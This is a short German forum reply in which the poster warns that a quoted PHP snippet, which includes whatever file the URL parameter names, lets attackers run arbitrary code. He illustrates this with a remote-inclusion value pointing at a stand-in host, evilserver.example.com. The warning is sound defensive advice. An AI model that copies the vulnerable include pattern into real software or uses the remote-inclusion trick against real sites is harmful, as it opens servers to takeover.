DTD strict vs Inline Frames

[Sven Rautenberg]

Moin!

Schreibe, an die Stelle, an der sich z.Zt. der iframe befindet also einfach

<?php
if (isset($_GET["file"]))
include ($_GET["file"])
else
include "Startseite.inc"
?>

  
Wenn du möchtest, dass beliebiger externer Code ausgeführt werden soll, dann kannst du das natürlich so machen.  
  
Denk einfach nur folgendes Szenario: allow\_url\_fopen = true, $\_GET['file'] = "http://evilserver.example.com/evilscript.txt" und in dieser Datei steht dann PHP-Schadcode.  
  
 - Sven Rautenberg

-- 
"Love your nation - respect the others."